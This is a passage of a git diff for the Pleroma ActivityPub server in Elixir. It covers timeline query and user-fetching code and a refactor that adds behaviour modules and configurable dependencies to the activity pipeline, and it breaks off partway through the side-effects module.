	\|> restrict_replies(opts)
	\|> restrict_tag(opts)
	\|> restrict_tag_reject(opts)
	\|> restrict_tag_all(opts)
	\|> restrict_since(opts)
	\|> restrict_local(opts)
	\|> restrict_actor(opts)
	\|> restrict_type(opts)
	\|> restrict_state(opts)
	\|> restrict_favorited_by(opts)
	\|> restrict_blocked(restrict_blocked_opts)
	\|> restrict_muted(restrict_muted_opts)
	\|> restrict_filtered(opts)
	\|> restrict_media(opts)
	\|> restrict_visibility(opts)
	\|> restrict_thread_visibility(opts, config)
	\|> restrict_reblogs(opts)
	\|> restrict_pinned(opts)
	\|> restrict_muted_reblogs(restrict_muted_reblogs_opts)
	\|> restrict_instance(opts)
	\|> restrict_announce_object_actor(opts)
	\|> restrict_filtered(opts)
	\|> Activity.restrict_deactivated_users()
	\|> exclude_poll_votes(opts)
	\|> exclude_chat_messages(opts)
	\|> exclude_invisible_actors(opts)
	\|> exclude_visibility(opts)
	end

	def fetch_activities(recipients, opts \\ %{}, pagination \\ :keyset) do
	list_memberships = Pleroma.List.memberships(opts[:user])

	fetch_activities_query(recipients ++ list_memberships, opts)
	\|> Pagination.fetch_paginated(opts, pagination)
	\|> Enum.reverse()
	\|> maybe_update_cc(list_memberships, opts[:user])
	end

	@doc """
	Fetch favorites activities of user with order by sort adds to favorites
	"""
	@spec fetch_favourites(User.t(), map(), Pagination.type()) :: list(Activity.t())
	def fetch_favourites(user, params \\ %{}, pagination \\ :keyset) do
	user.ap_id
	\|> Activity.Queries.by_actor()
	\|> Activity.Queries.by_type("Like")
	\|> Activity.with_joined_object()
	\|> Object.with_joined_activity()
	\|> select([like, object, activity], %{activity \| object: object, pagination_id: like.id})
	\|> order_by([like, _, _], desc_nulls_last: like.id)
	\|> Pagination.fetch_paginated(
	Map.merge(params, %{skip_order: true}),
	pagination
	)
	end

	defp maybe_update_cc(activities, [_ \| _] = list_memberships, %User{ap_id: user_ap_id}) do
	Enum.map(activities, fn
	%{data: %{"bcc" => [_ \| _] = bcc}} = activity ->
	if Enum.any?(bcc, &(&1 in list_memberships)) do
	update_in(activity.data["cc"], &[user_ap_id \| &1])
	else
	activity
	end

	activity ->
	activity
	end)
	end

	defp maybe_update_cc(activities, _, _), do: activities

	defp fetch_activities_bounded_query(query, recipients, recipients_with_public) do
	from(activity in query,
	where:
	fragment("? && ?", activity.recipients, ^recipients) or
	(fragment("? && ?", activity.recipients, ^recipients_with_public) and
	^Constants.as_public() in activity.recipients)
	)
	end

	def fetch_activities_bounded(
	recipients,
	recipients_with_public,
	opts \\ %{},
	pagination \\ :keyset
	) do
	fetch_activities_query([], opts)
	\|> fetch_activities_bounded_query(recipients, recipients_with_public)
	\|> Pagination.fetch_paginated(opts, pagination)
	\|> Enum.reverse()
	end

	@spec upload(Upload.source(), keyword()) :: {:ok, Object.t()} \| {:error, any()}
	def upload(file, opts \\ []) do
	with {:ok, data} <- Upload.store(file, opts) do
	obj_data = Maps.put_if_present(data, "actor", opts[:actor])

	Repo.insert(%Object{data: obj_data})
	end
	end

	@spec get_actor_url(any()) :: binary() \| nil
	defp get_actor_url(url) when is_binary(url), do: url
	defp get_actor_url(%{"href" => href}) when is_binary(href), do: href

	defp get_actor_url(url) when is_list(url) do
	url
	\|> List.first()
	\|> get_actor_url()
	end

	defp get_actor_url(_url), do: nil

	defp object_to_user_data(data) do
	avatar =
	data["icon"]["url"] &&
	%{
	"type" => "Image",
	"url" => [%{"href" => data["icon"]["url"]}]
	}

	banner =
	data["image"]["url"] &&
	%{
	"type" => "Image",
	"url" => [%{"href" => data["image"]["url"]}]
	}

	fields =
	data
	\|> Map.get("attachment", [])
	\|> Enum.filter(fn %{"type" => t} -> t == "PropertyValue" end)
	\|> Enum.map(fn fields -> Map.take(fields, ["name", "value"]) end)

	emojis =
	data
	\|> Map.get("tag", [])
	\|> Enum.filter(fn
	%{"type" => "Emoji"} -> true
	_ -> false
	end)
	\|> Map.new(fn %{"icon" => %{"url" => url}, "name" => name} ->
	{String.trim(name, ":"), url}
	end)

	is_locked = data["manuallyApprovesFollowers"] \|\| false
	capabilities = data["capabilities"] \|\| %{}
	accepts_chat_messages = capabilities["acceptsChatMessages"]
	data = Transmogrifier.maybe_fix_user_object(data)
	is_discoverable = data["discoverable"] \|\| false
	invisible = data["invisible"] \|\| false
	actor_type = data["type"] \|\| "Person"

	public_key =
	if is_map(data["publicKey"]) && is_binary(data["publicKey"]["publicKeyPem"]) do
	data["publicKey"]["publicKeyPem"]
	else
	nil
	end

	shared_inbox =
	if is_map(data["endpoints"]) && is_binary(data["endpoints"]["sharedInbox"]) do
	data["endpoints"]["sharedInbox"]
	else
	nil
	end

	user_data = %{
	ap_id: data["id"],
	uri: get_actor_url(data["url"]),
	ap_enabled: true,
	banner: banner,
	fields: fields,
	emoji: emojis,
	is_locked: is_locked,
	is_discoverable: is_discoverable,
	invisible: invisible,
	avatar: avatar,
	name: data["name"],
	follower_address: data["followers"],
	following_address: data["following"],
	bio: data["summary"] \|\| "",
	actor_type: actor_type,
	also_known_as: Map.get(data, "alsoKnownAs", []),
	public_key: public_key,
	inbox: data["inbox"],
	shared_inbox: shared_inbox,
	accepts_chat_messages: accepts_chat_messages
	}

	# nickname can be nil because of virtual actors
	if data["preferredUsername"] do
	Map.put(
	user_data,
	:nickname,
	"#{data["preferredUsername"]}@#{URI.parse(data["id"]).host}"
	)
	else
	Map.put(user_data, :nickname, nil)
	end
	end

	def fetch_follow_information_for_user(user) do
	with {:ok, following_data} <-
	Fetcher.fetch_and_contain_remote_object_from_id(user.following_address),
	{:ok, hide_follows} <- collection_private(following_data),
	{:ok, followers_data} <-
	Fetcher.fetch_and_contain_remote_object_from_id(user.follower_address),
	{:ok, hide_followers} <- collection_private(followers_data) do
	{:ok,
	%{
	hide_follows: hide_follows,
	follower_count: normalize_counter(followers_data["totalItems"]),
	following_count: normalize_counter(following_data["totalItems"]),
	hide_followers: hide_followers
	}}
	else
	{:error, _} = e -> e
	e -> {:error, e}
	end
	end

	defp normalize_counter(counter) when is_integer(counter), do: counter
	defp normalize_counter(_), do: 0

	def maybe_update_follow_information(user_data) do
	with {:enabled, true} <- {:enabled, Config.get([:instance, :external_user_synchronization])},
	{_, true} <- {:user_type_check, user_data[:type] in ["Person", "Service"]},
	{_, true} <-
	{:collections_available,
	!!(user_data[:following_address] && user_data[:follower_address])},
	{:ok, info} <-
	fetch_follow_information_for_user(user_data) do
	info = Map.merge(user_data[:info] \|\| %{}, info)

	user_data
	\|> Map.put(:info, info)
	else
	{:user_type_check, false} ->
	user_data

	{:collections_available, false} ->
	user_data

	{:enabled, false} ->
	user_data

	e ->
	Logger.error(
	"Follower/Following counter update for #{user_data.ap_id} failed.\n" <> inspect(e)
	)

	user_data
	end
	end

	defp collection_private(%{"first" => %{"type" => type}})
	when type in ["CollectionPage", "OrderedCollectionPage"],
	do: {:ok, false}

	defp collection_private(%{"first" => first}) do
	with {:ok, %{"type" => type}} when type in ["CollectionPage", "OrderedCollectionPage"] <-
	Fetcher.fetch_and_contain_remote_object_from_id(first) do
	{:ok, false}
	else
	{:error, {:ok, %{status: code}}} when code in [401, 403] -> {:ok, true}
	{:error, _} = e -> e
	e -> {:error, e}
	end
	end

	defp collection_private(_data), do: {:ok, true}

	def user_data_from_user_object(data) do
	with {:ok, data} <- MRF.filter(data) do
	{:ok, object_to_user_data(data)}
	else
	e -> {:error, e}
	end
	end

	def fetch_and_prepare_user_from_ap_id(ap_id) do
	with {:ok, data} <- Fetcher.fetch_and_contain_remote_object_from_id(ap_id),
	{:ok, data} <- user_data_from_user_object(data) do
	{:ok, maybe_update_follow_information(data)}
	else
	# If this has been deleted, only log a debug and not an error
	{:error, "Object has been deleted" = e} ->
	Logger.debug("Could not decode user at fetch #{ap_id}, #{inspect(e)}")
	{:error, e}

	{:error, {:reject, reason} = e} ->
	Logger.info("Rejected user #{ap_id}: #{inspect(reason)}")
	{:error, e}

	{:error, e} ->
	Logger.error("Could not decode user at fetch #{ap_id}, #{inspect(e)}")
	{:error, e}
	end
	end

	def maybe_handle_clashing_nickname(data) do
	with nickname when is_binary(nickname) <- data[:nickname],
	%User{} = old_user <- User.get_by_nickname(nickname),
	{_, false} <- {:ap_id_comparison, data[:ap_id] == old_user.ap_id} do
	Logger.info(
	"Found an old user for #{nickname}, the old ap id is #{old_user.ap_id}, new one is #{
	data[:ap_id]
	}, renaming."
	)

	old_user
	\|> User.remote_user_changeset(%{nickname: "#{old_user.id}.#{old_user.nickname}"})
	\|> User.update_and_set_cache()
	else
	{:ap_id_comparison, true} ->
	Logger.info(
	"Found an old user for #{data[:nickname]}, but the ap id #{data[:ap_id]} is the same as the new user. Race condition? Not changing anything."
	)

	_ ->
	nil
	end
	end

	def make_user_from_ap_id(ap_id) do
	user = User.get_cached_by_ap_id(ap_id)

	if user && !User.ap_enabled?(user) do
	Transmogrifier.upgrade_user_from_ap_id(ap_id)
	else
	with {:ok, data} <- fetch_and_prepare_user_from_ap_id(ap_id) do
	if user do
	user
	\|> User.remote_user_changeset(data)
	\|> User.update_and_set_cache()
	else
	maybe_handle_clashing_nickname(data)

	data
	\|> User.remote_user_changeset()
	\|> Repo.insert()
	\|> User.set_cache()
	end
	end
	end
	end

	def make_user_from_nickname(nickname) do
	with {:ok, %{"ap_id" => ap_id}} when not is_nil(ap_id) <- WebFinger.finger(nickname) do
	make_user_from_ap_id(ap_id)
	else
	_e -> {:error, "No AP id in WebFinger"}
	end
	end

	# filter out broken threads
	defp contain_broken_threads(%Activity{} = activity, %User{} = user) do
	entire_thread_visible_for_user?(activity, user)
	end

	# do post-processing on a specific activity
	def contain_activity(%Activity{} = activity, %User{} = user) do
	contain_broken_threads(activity, user)
	end

	def fetch_direct_messages_query do
	Activity
	\|> restrict_type(%{type: "Create"})
	\|> restrict_visibility(%{visibility: "direct"})
	\|> order_by([activity], asc: activity.id)
	end
	end
	diff --git a/lib/jason_types.ex b/lib/pleroma/web/activity_pub/activity_pub/persisting.ex
	similarity index 53%
	copy from lib/jason_types.ex
	copy to lib/pleroma/web/activity_pub/activity_pub/persisting.ex
	index f1fdc96f4..3894f48e2 100644
	--- a/lib/jason_types.ex
	+++ b/lib/pleroma/web/activity_pub/activity_pub/persisting.ex
	@@ -1,9 +1,7 @@
	# Pleroma: A lightweight social networking server
	# Copyright © 2017-2020 Pleroma Authors <https://pleroma.social/>
	# SPDX-License-Identifier: AGPL-3.0-only

	-Postgrex.Types.define(
	- Pleroma.PostgresTypes,
	- [] ++ Ecto.Adapters.Postgres.extensions(),
	- json: Jason
	-)
	+defmodule Pleroma.Web.ActivityPub.ActivityPub.Persisting do
	+ @callback persist(map(), keyword()) :: {:ok, Activity.t() \| Object.t()}
	+end
	diff --git a/lib/pleroma/web/activity_pub/mrf.ex b/lib/pleroma/web/activity_pub/mrf.ex
	index 6e73b2f22..02fdee5fc 100644
	--- a/lib/pleroma/web/activity_pub/mrf.ex
	+++ b/lib/pleroma/web/activity_pub/mrf.ex
	@@ -1,175 +1,178 @@
	# Pleroma: A lightweight social networking server
	# Copyright © 2017-2020 Pleroma Authors <https://pleroma.social/>
	# SPDX-License-Identifier: AGPL-3.0-only

	defmodule Pleroma.Web.ActivityPub.MRF do
	require Logger

	+ @behaviour Pleroma.Web.ActivityPub.MRF.PipelineFiltering
	+
	@mrf_config_descriptions [
	%{
	group: :pleroma,
	key: :mrf,
	tab: :mrf,
	label: "MRF",
	type: :group,
	description: "General MRF settings",
	children: [
	%{
	key: :policies,
	type: [:module, {:list, :module}],
	description:
	"A list of MRF policies enabled. Module names are shortened (removed leading `Pleroma.Web.ActivityPub.MRF.` part), but on adding custom module you need to use full name.",
	suggestions: {:list_behaviour_implementations, Pleroma.Web.ActivityPub.MRF}
	},
	%{
	key: :transparency,
	label: "MRF transparency",
	type: :boolean,
	description:
	"Make the content of your Message Rewrite Facility settings public (via nodeinfo)"
	},
	%{
	key: :transparency_exclusions,
	label: "MRF transparency exclusions",
	type: {:list, :string},
	description:
	"Exclude specific instance names from MRF transparency. The use of the exclusions feature will be disclosed in nodeinfo as a boolean value.",
	suggestions: [
	"exclusion.com"
	]
	}
	]
	}
	]

	@default_description %{
	label: "",
	description: ""
	}

	@required_description_keys [:key, :related_policy]

	@callback filter(Map.t()) :: {:ok \| :reject, Map.t()}
	@callback describe() :: {:ok \| :error, Map.t()}
	@callback config_description() :: %{
	optional(:children) => [map()],
	key: atom(),
	related_policy: String.t(),
	label: String.t(),
	description: String.t()
	}
	@optional_callbacks config_description: 0

	def filter(policies, %{} = message) do
	policies
	\|> Enum.reduce({:ok, message}, fn
	policy, {:ok, message} -> policy.filter(message)
	_, error -> error
	end)
	end

	def filter(%{} = object), do: get_policies() \|> filter(object)

	+ @impl true
	def pipeline_filter(%{} = message, meta) do
	object = meta[:object_data]
	ap_id = message["object"]

	if object && ap_id do
	with {:ok, message} <- filter(Map.put(message, "object", object)) do
	meta = Keyword.put(meta, :object_data, message["object"])
	{:ok, Map.put(message, "object", ap_id), meta}
	else
	{err, message} -> {err, message, meta}
	end
	else
	{err, message} = filter(message)

	{err, message, meta}
	end
	end

	def get_policies do
	Pleroma.Config.get([:mrf, :policies], []) \|> get_policies()
	end

	defp get_policies(policy) when is_atom(policy), do: [policy]
	defp get_policies(policies) when is_list(policies), do: policies
	defp get_policies(_), do: []

	@spec subdomains_regex([String.t()]) :: [Regex.t()]
	def subdomains_regex(domains) when is_list(domains) do
	for domain <- domains, do: ~r(^#{String.replace(domain, ".", "(.\\.)*")}$)i
	end

	@spec subdomain_match?([Regex.t()], String.t()) :: boolean()
	def subdomain_match?(domains, host) do
	Enum.any?(domains, fn domain -> Regex.match?(domain, host) end)
	end

	def describe(policies) do
	{:ok, policy_configs} =
	policies
	\|> Enum.reduce({:ok, %{}}, fn
	policy, {:ok, data} ->
	{:ok, policy_data} = policy.describe()
	{:ok, Map.merge(data, policy_data)}

	_, error ->
	error
	end)

	mrf_policies =
	get_policies()
	\|> Enum.map(fn policy -> to_string(policy) \|> String.split(".") \|> List.last() end)

	exclusions = Pleroma.Config.get([:mrf, :transparency_exclusions])

	base =
	%{
	mrf_policies: mrf_policies,
	exclusions: length(exclusions) > 0
	}
	\|> Map.merge(policy_configs)

	{:ok, base}
	end

	def describe, do: get_policies() \|> describe()

	def config_descriptions do
	Pleroma.Web.ActivityPub.MRF
	\|> Pleroma.Docs.Generator.list_behaviour_implementations()
	\|> config_descriptions()
	end

	def config_descriptions(policies) do
	Enum.reduce(policies, @mrf_config_descriptions, fn policy, acc ->
	if function_exported?(policy, :config_description, 0) do
	description =
	@default_description
	\|> Map.merge(policy.config_description)
	\|> Map.put(:group, :pleroma)
	\|> Map.put(:tab, :mrf)
	\|> Map.put(:type, :group)

	if Enum.all?(@required_description_keys, &Map.has_key?(description, &1)) do
	[description \| acc]
	else
	Logger.warn(
	"#{policy} config description doesn't have one or all required keys #{
	inspect(@required_description_keys)
	}"
	)

	acc
	end
	else
	Logger.debug(
	"#{policy} is excluded from config descriptions, because does not implement `config_description/0` method."
	)

	acc
	end
	end)
	end
	end
	diff --git a/lib/jason_types.ex b/lib/pleroma/web/activity_pub/mrf/pipeline_filtering.ex
	similarity index 50%
	copy from lib/jason_types.ex
	copy to lib/pleroma/web/activity_pub/mrf/pipeline_filtering.ex
	index f1fdc96f4..8e0069bc5 100644
	--- a/lib/jason_types.ex
	+++ b/lib/pleroma/web/activity_pub/mrf/pipeline_filtering.ex
	@@ -1,9 +1,7 @@
	# Pleroma: A lightweight social networking server
	# Copyright © 2017-2020 Pleroma Authors <https://pleroma.social/>
	# SPDX-License-Identifier: AGPL-3.0-only

	-Postgrex.Types.define(
	- Pleroma.PostgresTypes,
	- [] ++ Ecto.Adapters.Postgres.extensions(),
	- json: Jason
	-)
	+defmodule Pleroma.Web.ActivityPub.MRF.PipelineFiltering do
	+ @callback pipeline_filter(map(), keyword()) :: {:ok, map(), keyword()} \| {:error, any()}
	+end
	diff --git a/lib/pleroma/web/activity_pub/object_validator.ex b/lib/pleroma/web/activity_pub/object_validator.ex
	index bd0a2a8dc..ce8e7341b 100644
	--- a/lib/pleroma/web/activity_pub/object_validator.ex
	+++ b/lib/pleroma/web/activity_pub/object_validator.ex
	@@ -1,292 +1,294 @@
	# Pleroma: A lightweight social networking server
	# Copyright © 2017-2020 Pleroma Authors <https://pleroma.social/>
	# SPDX-License-Identifier: AGPL-3.0-only

	defmodule Pleroma.Web.ActivityPub.ObjectValidator do
	@moduledoc """
	This module is responsible for validating an object (which can be an activity)
	and checking if it is both well formed and also compatible with our view of
	the system.
	"""

	+ @behaviour Pleroma.Web.ActivityPub.ObjectValidator.Validating
	+
	alias Pleroma.Activity
	alias Pleroma.EctoType.ActivityPub.ObjectValidators
	alias Pleroma.Object
	alias Pleroma.Object.Containment
	alias Pleroma.User
	alias Pleroma.Web.ActivityPub.ObjectValidators.AcceptRejectValidator
	alias Pleroma.Web.ActivityPub.ObjectValidators.AnnounceValidator
	alias Pleroma.Web.ActivityPub.ObjectValidators.AnswerValidator
	alias Pleroma.Web.ActivityPub.ObjectValidators.ArticleNoteValidator
	alias Pleroma.Web.ActivityPub.ObjectValidators.AudioVideoValidator
	alias Pleroma.Web.ActivityPub.ObjectValidators.BlockValidator
	alias Pleroma.Web.ActivityPub.ObjectValidators.ChatMessageValidator
	alias Pleroma.Web.ActivityPub.ObjectValidators.CreateChatMessageValidator
	alias Pleroma.Web.ActivityPub.ObjectValidators.CreateGenericValidator
	alias Pleroma.Web.ActivityPub.ObjectValidators.DeleteValidator
	alias Pleroma.Web.ActivityPub.ObjectValidators.EmojiReactValidator
	alias Pleroma.Web.ActivityPub.ObjectValidators.EventValidator
	alias Pleroma.Web.ActivityPub.ObjectValidators.FollowValidator
	alias Pleroma.Web.ActivityPub.ObjectValidators.LikeValidator
	alias Pleroma.Web.ActivityPub.ObjectValidators.QuestionValidator
	alias Pleroma.Web.ActivityPub.ObjectValidators.UndoValidator
	alias Pleroma.Web.ActivityPub.ObjectValidators.UpdateValidator

	- @spec validate(map(), keyword()) :: {:ok, map(), keyword()} \| {:error, any()}
	+ @impl true
	def validate(object, meta)

	def validate(%{"type" => type} = object, meta)
	when type in ~w[Accept Reject] do
	with {:ok, object} <-
	object
	\|> AcceptRejectValidator.cast_and_validate()
	\|> Ecto.Changeset.apply_action(:insert) do
	object = stringify_keys(object)
	{:ok, object, meta}
	end
	end

	def validate(%{"type" => "Event"} = object, meta) do
	with {:ok, object} <-
	object
	\|> EventValidator.cast_and_validate()
	\|> Ecto.Changeset.apply_action(:insert) do
	object = stringify_keys(object)
	{:ok, object, meta}
	end
	end

	def validate(%{"type" => "Follow"} = object, meta) do
	with {:ok, object} <-
	object
	\|> FollowValidator.cast_and_validate()
	\|> Ecto.Changeset.apply_action(:insert) do
	object = stringify_keys(object)
	{:ok, object, meta}
	end
	end

	def validate(%{"type" => "Block"} = block_activity, meta) do
	with {:ok, block_activity} <-
	block_activity
	\|> BlockValidator.cast_and_validate()
	\|> Ecto.Changeset.apply_action(:insert) do
	block_activity = stringify_keys(block_activity)
	outgoing_blocks = Pleroma.Config.get([:activitypub, :outgoing_blocks])

	meta =
	if !outgoing_blocks do
	Keyword.put(meta, :do_not_federate, true)
	else
	meta
	end

	{:ok, block_activity, meta}
	end
	end

	def validate(%{"type" => "Update"} = update_activity, meta) do
	with {:ok, update_activity} <-
	update_activity
	\|> UpdateValidator.cast_and_validate()
	\|> Ecto.Changeset.apply_action(:insert) do
	update_activity = stringify_keys(update_activity)
	{:ok, update_activity, meta}
	end
	end

	def validate(%{"type" => "Undo"} = object, meta) do
	with {:ok, object} <-
	object
	\|> UndoValidator.cast_and_validate()
	\|> Ecto.Changeset.apply_action(:insert) do
	object = stringify_keys(object)
	undone_object = Activity.get_by_ap_id(object["object"])

	meta =
	meta
	\|> Keyword.put(:object_data, undone_object.data)

	{:ok, object, meta}
	end
	end

	def validate(%{"type" => "Delete"} = object, meta) do
	with cng <- DeleteValidator.cast_and_validate(object),
	do_not_federate <- DeleteValidator.do_not_federate?(cng),
	{:ok, object} <- Ecto.Changeset.apply_action(cng, :insert) do
	object = stringify_keys(object)
	meta = Keyword.put(meta, :do_not_federate, do_not_federate)
	{:ok, object, meta}
	end
	end

	def validate(%{"type" => "Like"} = object, meta) do
	with {:ok, object} <-
	object
	\|> LikeValidator.cast_and_validate()
	\|> Ecto.Changeset.apply_action(:insert) do
	object = stringify_keys(object)
	{:ok, object, meta}
	end
	end

	def validate(%{"type" => "ChatMessage"} = object, meta) do
	with {:ok, object} <-
	object
	\|> ChatMessageValidator.cast_and_validate()
	\|> Ecto.Changeset.apply_action(:insert) do
	object = stringify_keys(object)
	{:ok, object, meta}
	end
	end

	def validate(%{"type" => "Question"} = object, meta) do
	with {:ok, object} <-
	object
	\|> QuestionValidator.cast_and_validate()
	\|> Ecto.Changeset.apply_action(:insert) do
	object = stringify_keys(object)
	{:ok, object, meta}
	end
	end

	def validate(%{"type" => type} = object, meta) when type in ~w[Audio Video] do
	with {:ok, object} <-
	object
	\|> AudioVideoValidator.cast_and_validate()
	\|> Ecto.Changeset.apply_action(:insert) do
	object = stringify_keys(object)
	{:ok, object, meta}
	end
	end

	def validate(%{"type" => "Article"} = object, meta) do
	with {:ok, object} <-
	object
	\|> ArticleNoteValidator.cast_and_validate()
	\|> Ecto.Changeset.apply_action(:insert) do
	object = stringify_keys(object)
	{:ok, object, meta}
	end
	end

	def validate(%{"type" => "Answer"} = object, meta) do
	with {:ok, object} <-
	object
	\|> AnswerValidator.cast_and_validate()
	\|> Ecto.Changeset.apply_action(:insert) do
	object = stringify_keys(object)
	{:ok, object, meta}
	end
	end

	def validate(%{"type" => "EmojiReact"} = object, meta) do
	with {:ok, object} <-
	object
	\|> EmojiReactValidator.cast_and_validate()
	\|> Ecto.Changeset.apply_action(:insert) do
	object = stringify_keys(object)
	{:ok, object, meta}
	end
	end

	def validate(
	%{"type" => "Create", "object" => %{"type" => "ChatMessage"} = object} = create_activity,
	meta
	) do
	with {:ok, object_data} <- cast_and_apply(object),
	meta = Keyword.put(meta, :object_data, object_data \|> stringify_keys),
	{:ok, create_activity} <-
	create_activity
	\|> CreateChatMessageValidator.cast_and_validate(meta)
	\|> Ecto.Changeset.apply_action(:insert) do
	create_activity = stringify_keys(create_activity)
	{:ok, create_activity, meta}
	end
	end

	def validate(
	%{"type" => "Create", "object" => %{"type" => objtype} = object} = create_activity,
	meta
	)
	when objtype in ~w[Question Answer Audio Video Event Article] do
	with {:ok, object_data} <- cast_and_apply(object),
	meta = Keyword.put(meta, :object_data, object_data \|> stringify_keys),
	{:ok, create_activity} <-
	create_activity
	\|> CreateGenericValidator.cast_and_validate(meta)
	\|> Ecto.Changeset.apply_action(:insert) do
	create_activity = stringify_keys(create_activity)
	{:ok, create_activity, meta}
	end
	end

	def validate(%{"type" => "Announce"} = object, meta) do
	with {:ok, object} <-
	object
	\|> AnnounceValidator.cast_and_validate()
	\|> Ecto.Changeset.apply_action(:insert) do
	object = stringify_keys(object)
	{:ok, object, meta}
	end
	end

	def cast_and_apply(%{"type" => "ChatMessage"} = object) do
	ChatMessageValidator.cast_and_apply(object)
	end

	def cast_and_apply(%{"type" => "Question"} = object) do
	QuestionValidator.cast_and_apply(object)
	end

	def cast_and_apply(%{"type" => "Answer"} = object) do
	AnswerValidator.cast_and_apply(object)
	end

	def cast_and_apply(%{"type" => type} = object) when type in ~w[Audio Video] do
	AudioVideoValidator.cast_and_apply(object)
	end

	def cast_and_apply(%{"type" => "Event"} = object) do
	EventValidator.cast_and_apply(object)
	end

	def cast_and_apply(%{"type" => "Article"} = object) do
	ArticleNoteValidator.cast_and_apply(object)
	end

	def cast_and_apply(o), do: {:error, {:validator_not_set, o}}

	# is_struct/1 isn't present in Elixir 1.8.x
	def stringify_keys(%{__struct__: _} = object) do
	object
	\|> Map.from_struct()
	\|> stringify_keys
	end

	def stringify_keys(object) when is_map(object) do
	object
	\|> Map.new(fn {key, val} -> {to_string(key), stringify_keys(val)} end)
	end

	def stringify_keys(object) when is_list(object) do
	object
	\|> Enum.map(&stringify_keys/1)
	end

	def stringify_keys(object), do: object

	def fetch_actor(object) do
	with actor <- Containment.get_actor(object),
	{:ok, actor} <- ObjectValidators.ObjectID.cast(actor) do
	User.get_or_fetch_by_ap_id(actor)
	end
	end

	def fetch_actor_and_object(object) do
	fetch_actor(object)
	Object.normalize(object["object"], true)
	:ok
	end
	end
	diff --git a/lib/jason_types.ex b/lib/pleroma/web/activity_pub/object_validator/validating.ex
	similarity index 51%
	copy from lib/jason_types.ex
	copy to lib/pleroma/web/activity_pub/object_validator/validating.ex
	index f1fdc96f4..64c0c30c5 100644
	--- a/lib/jason_types.ex
	+++ b/lib/pleroma/web/activity_pub/object_validator/validating.ex
	@@ -1,9 +1,7 @@
	# Pleroma: A lightweight social networking server
	# Copyright © 2017-2020 Pleroma Authors <https://pleroma.social/>
	# SPDX-License-Identifier: AGPL-3.0-only

	-Postgrex.Types.define(
	- Pleroma.PostgresTypes,
	- [] ++ Ecto.Adapters.Postgres.extensions(),
	- json: Jason
	-)
	+defmodule Pleroma.Web.ActivityPub.ObjectValidator.Validating do
	+ @callback validate(map(), keyword()) :: {:ok, map(), keyword()} \| {:error, any()}
	+end
	diff --git a/lib/pleroma/web/activity_pub/pipeline.ex b/lib/pleroma/web/activity_pub/pipeline.ex
	index 98c32a42b..2715b94d4 100644
	--- a/lib/pleroma/web/activity_pub/pipeline.ex
	+++ b/lib/pleroma/web/activity_pub/pipeline.ex
	@@ -1,76 +1,83 @@
	# Pleroma: A lightweight social networking server
	# Copyright © 2017-2020 Pleroma Authors <https://pleroma.social/>
	# SPDX-License-Identifier: AGPL-3.0-only

	defmodule Pleroma.Web.ActivityPub.Pipeline do
	alias Pleroma.Activity
	alias Pleroma.Config
	alias Pleroma.Object
	alias Pleroma.Repo
	alias Pleroma.Web.ActivityPub.ActivityPub
	alias Pleroma.Web.ActivityPub.MRF
	alias Pleroma.Web.ActivityPub.ObjectValidator
	alias Pleroma.Web.ActivityPub.SideEffects
	alias Pleroma.Web.ActivityPub.Visibility
	alias Pleroma.Web.Federator

	+ @side_effects Config.get([:pipeline, :side_effects], SideEffects)
	+ @federator Config.get([:pipeline, :federator], Federator)
	+ @object_validator Config.get([:pipeline, :object_validator], ObjectValidator)
	+ @mrf Config.get([:pipeline, :mrf], MRF)
	+ @activity_pub Config.get([:pipeline, :activity_pub], ActivityPub)
	+ @config Config.get([:pipeline, :config], Config)
	+
	@spec common_pipeline(map(), keyword()) ::
	{:ok, Activity.t() \| Object.t(), keyword()} \| {:error, any()}
	def common_pipeline(object, meta) do
	case Repo.transaction(fn -> do_common_pipeline(object, meta) end) do
	{:ok, {:ok, activity, meta}} ->
	- SideEffects.handle_after_transaction(meta)
	+ @side_effects.handle_after_transaction(meta)
	{:ok, activity, meta}

	{:ok, value} ->
	value

	{:error, e} ->
	{:error, e}

	{:reject, e} ->
	{:reject, e}
	end
	end

	def do_common_pipeline(object, meta) do
	with {_, {:ok, validated_object, meta}} <-
	- {:validate_object, ObjectValidator.validate(object, meta)},
	+ {:validate_object, @object_validator.validate(object, meta)},
	{_, {:ok, mrfd_object, meta}} <-
	- {:mrf_object, MRF.pipeline_filter(validated_object, meta)},
	+ {:mrf_object, @mrf.pipeline_filter(validated_object, meta)},
	{_, {:ok, activity, meta}} <-
	- {:persist_object, ActivityPub.persist(mrfd_object, meta)},
	+ {:persist_object, @activity_pub.persist(mrfd_object, meta)},
	{_, {:ok, activity, meta}} <-
	- {:execute_side_effects, SideEffects.handle(activity, meta)},
	+ {:execute_side_effects, @side_effects.handle(activity, meta)},
	{_, {:ok, _}} <- {:federation, maybe_federate(activity, meta)} do
	{:ok, activity, meta}
	else
	{:mrf_object, {:reject, message, _}} -> {:reject, message}
	e -> {:error, e}
	end
	end

	defp maybe_federate(%Object{}, _), do: {:ok, :not_federated}

	defp maybe_federate(%Activity{} = activity, meta) do
	with {:ok, local} <- Keyword.fetch(meta, :local) do
	- do_not_federate = meta[:do_not_federate] \|\| !Config.get([:instance, :federating])
	+ do_not_federate = meta[:do_not_federate] \|\| !@config.get([:instance, :federating])

	if !do_not_federate and local and not Visibility.is_local_public?(activity) do
	activity =
	if object = Keyword.get(meta, :object_data) do
	%{activity \| data: Map.put(activity.data, "object", object)}
	else
	activity
	end

	- Federator.publish(activity)
	+ @federator.publish(activity)
	{:ok, :federated}
	else
	{:ok, :not_federated}
	end
	else
	_e -> {:error, :badarg}
	end
	end
	end
	diff --git a/lib/pleroma/web/activity_pub/side_effects.ex b/lib/pleroma/web/activity_pub/side_effects.ex
	index 8556fca1d..55c99ad0c 100644
	--- a/lib/pleroma/web/activity_pub/side_effects.ex
	+++ b/lib/pleroma/web/activity_pub/side_effects.ex
	@@ -1,447 +1,465 @@
	# Pleroma: A lightweight social networking server
	# Copyright © 2017-2020 Pleroma Authors <https://pleroma.social/>
	# SPDX-License-Identifier: AGPL-3.0-only

	defmodule Pleroma.Web.ActivityPub.SideEffects do
	@moduledoc """
	This module looks at an inserted object and executes the side effects that it
	implies. For example, a `Like` activity will increase the like count on the
	liked object, a `Follow` activity will add the user to the follower
	collection, and so on.
	"""
	alias Pleroma.Activity
	alias Pleroma.Activity.Ir.Topics
	alias Pleroma.Chat
	alias Pleroma.Chat.MessageReference
	alias Pleroma.FollowingRelationship
	alias Pleroma.Notification
	alias Pleroma.Object
	alias Pleroma.Repo
	alias Pleroma.User
	alias Pleroma.Web.ActivityPub.ActivityPub
	alias Pleroma.Web.ActivityPub.Builder
	alias Pleroma.Web.ActivityPub.Pipeline
	alias Pleroma.Web.ActivityPub.Utils
